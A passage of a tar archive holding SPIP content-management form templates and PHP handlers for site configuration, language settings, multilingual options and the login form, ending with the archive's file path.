id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non:></label> </div> </div> #SET{name,articles_redac}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_date_publication_anterieure:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_oui:></label> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non:></label> </div> </div> #SET{name,articles_urlref}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_urlref:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_oui:></label> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non:></label> </div> </div> </div> </fieldset> <fieldset><legend><:titre_publication_articles_post_dates:>#AIDER{confdates}</legend> <div class="editer-groupe"> #SET{name,post_dates}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:texte_publication_articles_post_dates:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_publier_articles:></label> </div> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non_publier_articles:></label> </div> </div> </div> </fieldset> <fieldset><legend><:config_redirection:>#AIDER{artvirt}</legend> <div class="editer-groupe"> #SET{name,articles_redirection}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:config_info_redirection:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_oui:></label> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non:></label> </div> </div> </div> </fieldset> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div>configurer_langue.html000060400000002626152526232120011132 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{langue-24.png}" class="cadre-icone" /><:info_langue_principale:> : #ENV{_langue_site}</h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> <div class="explication"> <:texte_selection_langue_principale|inserer_attribut{class,spip}:> </div> #SET{name,changer_langue_site}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_langue_principale:></label> [<span class='erreur_message'>(#GET{erreurs})</span>] [<select name="changer_langue_site" id="changer_langue_site"> (#ENV*{_langues}) </select>] </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div>login.html000060400000005663152526232120006550 0ustar00#HTTP_HEADER{"Cache-Control: no-store, no-cache, must-revalidate"} #HTTP_HEADER{"Pragma: no-cache"} <div class='formulaire_spip formulaire_login'> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV**{_deja_loge})</p>] [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class='reponse_formulaire reponse_formulaire_erreur'>(#ENV*{message_erreur})</p>] [(#ENV{echec_cookie}) <fieldset class='reponse_formulaire reponse_formulaire_erreur'> <h2><:avis_erreur_cookie:></h2> <p class="erreur_message"><:login_cookie_oblige:><br /><:login_cookie_accepte:></p> </fieldset>] [(#ENV{editable}) <form id='formulaire_login' method='post' action='#ENV{action}'> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <fieldset> <legend><:form_forum_identifiants:></legend> <div class="editer-groupe"> <div class="editer editer_login obligatoire[(#ENV**{erreurs}|table_valeur{var_login}|oui)erreur]"> <label for="var_login"><:login_login2:></label>[ <span class="erreur_message">(#ENV**{erreurs}|table_valeur{var_login})</span> ]<input type='text' class='text [(#ENV*{_logo}|oui)avec_spip_logo_auteur]' name='var_login' id='var_login' value="[(#ENV**{var_login})]" size='40'[(#HTML5) required='required' autofocus='autofocus'] autocapitalize="off" autocorrect="off" />[ <span id="spip_logo_auteur">(#ENV*{_logo,''})</span>] </div> <div class="editer editer_password obligatoire[(#ENV**{erreurs}|table_valeur{password}|oui)erreur]"> <label for="password"><:login_pass2:></label>[ <span class="erreur_message">(#ENV**{erreurs}|table_valeur{password})</span> ]<input type='password' class='text password' name='password' id='password' value="" size='40' autocapitalize="off" autocorrect="off" /> <p class='details'><a href="[(#URL_PAGE{spip_pass}|parametre_url{lang,#LANG})]" id='spip_pass'><:login_motpasseoublie:></a></p> </div> [(#ENV{rester_connecte}) <div class="editer editer_session"><div class='choix'> <input type="checkbox" class="checkbox" name="session_remember" id="session_remember" value="oui" [(#ENV**{cnx}|?{' '})checked="checked"] onchange="jQuery(this).addClass('modifie');" /> <label class='nofx' for="session_remember"><:login_rester_identifie:></label> </div></div>] </div> </fieldset> <p class="boutons"><input type="submit" class="submit" value="<:bouton_valider|attribut_html:>" /></p> </form> ] [(#REM) en cas d'absence de cookie, on represente le formulaire alternatif ] [<form action="(#ENV{auth_http})" method="get">[ (#ENV{auth_http}|form_hidden) ] <fieldset> <legend><:login_sans_cookie:></legend> <:login_preferez_refuser:> <input type="hidden" name="essai_auth_http" value="oui"/> [<input type="hidden" name="url" value="(#ENV{url})"/>] <p class="boutons"><input type="submit" class="submit" value="<:login_sans_cookie|attribut_html:>"/></p> </fieldset> </form> ] </div> configurer_identite.php000060400000004537152526232120011312 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_identite_charger_dist() { // travailler sur des meta fraiches include_spip('inc/meta'); lire_metas(); $valeurs = array(); foreach (array('nom_site', 'adresse_site', 'slogan_site', 'descriptif_site', 'email_webmaster') as $k) { $valeurs[$k] = isset($GLOBALS['meta'][$k]) ? $GLOBALS['meta'][$k] : ''; } return $valeurs; } function formulaires_configurer_identite_verifier_dist() { $erreurs = array(); // adresse_site est obligatoire mais rempli automatiquement si absent ! foreach (array('nom_site'/*,'adresse_site'*/) as $obli) { if (!_request($obli)) { $erreurs[$obli] = _T('info_obligatoire'); } } if ($email = _request('email_webmaster') and !email_valide($email)) { $erreurs['email_webmaster'] = _T('info_email_invalide'); } return $erreurs; } function formulaires_configurer_identite_traiter_dist() { include_spip('inc/config'); $adresse_site = isset($GLOBALS['meta']['adresse_site']) ? $GLOBALS['meta']['adresse_site'] : ''; if (_request('adresse_site') != $adresse_site) { refuser_traiter_formulaire_ajax(); } set_request('adresse_site', appliquer_adresse_site(_request('adresse_site'))); include_spip('inc/meta'); foreach (array('nom_site', 'slogan_site', 'descriptif_site', 'email_webmaster') as $k) { ecrire_meta($k, _request($k)); } include_spip('inc/texte_mini'); $reload = texte_script(couper(_request('nom_site'), 35)); $reload = "<script type='text/javascript'>if (window.jQuery) jQuery('#bando_identite .nom_site_spip .nom').html('$reload');</script>"; return array('message_ok' => _T('config_info_enregistree') . $reload, 'editable' => true); } configurer_multilinguisme.html000060400000012377152526232120012732 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{traduction-24.png}" class="cadre-icone" /><:info_multilinguisme:> : #ENV{_langue_site}</h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <p><:texte_multilinguisme:></p> <p><:texte_multilinguisme_trad:></p> <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <input type="hidden" name="multi_objets[]" value="" /> <input type="hidden" name="gerer_trad_objets[]" value="" /> <div class="editer-groupe"> <div class="fieldset"> <fieldset><div class="editer-groupe"> #SET{objets,#VAL{rubrique}|objet_info{texte_objets}|_T} #SET{val,spip_rubriques} #SET{name,multi_objets}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label>#GET{objets}</label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="checkbox" name="#GET{name}[]" id="#GET{val}#GET{name}_oui" value="#GET{val}" [(#GET{val}|in_any{#ENV{#GET{name}}}|oui)checked="checked"] /><label for="#GET{val}#GET{name}_oui"><:info_multi_objets{objets=#GET{objets}}:></label> </div> </div> [(#GET{val}|in_any{#ENV{multi_objets}}|oui) #SET{name,multi_secteurs}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]">[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="hidden" name="#GET{name}_check" value="1" /> <input type="checkbox" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:info_multi_secteurs:></label> </div> </div> ] [(#VAL{spip_rubriques}|table_supporte_trad|oui) #SET{name,gerer_trad_objets}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]">[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="checkbox" name="#GET{name}[]" id="#GET{val}#GET{name}_oui" value="#GET{val}" [(#GET{val}|in_any{#ENV{#GET{name}}}|oui)checked="checked"] /><label for="#GET{val}#GET{name}_oui"><:info_gerer_trad_objets{objets=#GET{objets}}:></label> </div> </div> ] </div> </fieldset> </div> ] <BOUCLE_objets(POUR){tableau #REM|lister_tables_objets_sql}{cle!=spip_rubriques}{cle!=spip_auteurs}{si #ENV{editable}}>[(#CLE|table_supporte_lang|et{#VALEUR{type}|objet_info{editable}}) #SET{val,#CLE} <div class="fieldset"> <fieldset> #SET{objets,#VALEUR{texte_objets}|_T} <div class="editer-groupe"> #SET{name,multi_objets}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label>#GET{objets}</label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="checkbox" name="#GET{name}[]" id="#GET{val}#GET{name}_oui" value="#GET{val}" [(#GET{val}|in_any{#ENV{#GET{name}}}|oui)checked="checked"] /><label for="#GET{val}#GET{name}_oui"><:info_multi_objets{objets=#GET{objets}}:></label> </div> </div> [(#CLE|table_supporte_trad|oui) #SET{name,gerer_trad_objets}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]">[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="checkbox" name="#GET{name}[]" id="#GET{val}#GET{name}_oui" value="#GET{val}" [(#GET{val}|in_any{#ENV{#GET{name}}}|oui)checked="checked"] /><label for="#GET{val}#GET{name}_oui"><:info_gerer_trad_objets{objets=#GET{objets}}:></label> </div> </div> ] </div> </fieldset> </div>]</BOUCLE_objets> [(#ENV{editable}) </div> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> <div class="editer-groupe"> [<div class="fieldset"> <fieldset> <legend><:icone_gestion_langues:></legend> <p><:info_multi_langues_choisies:> [(#ENV{_nb_langues_selection}|>{10}|oui) \(<a href="#" onclick="jQuery('#langues_proposees').find('input\[type=checkbox\]').attr('checked',false);return false;"><:lien_tout_decocher:></a>\) ] </p> (#ENV**{_langues,''}) <p><:info_multi_langues_soulignees:></p> </fieldset> </div> ] </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div>
/home/histoio/www/f41a3/./../../www/plugins/../squelettes/css/6697f/formulaires.tar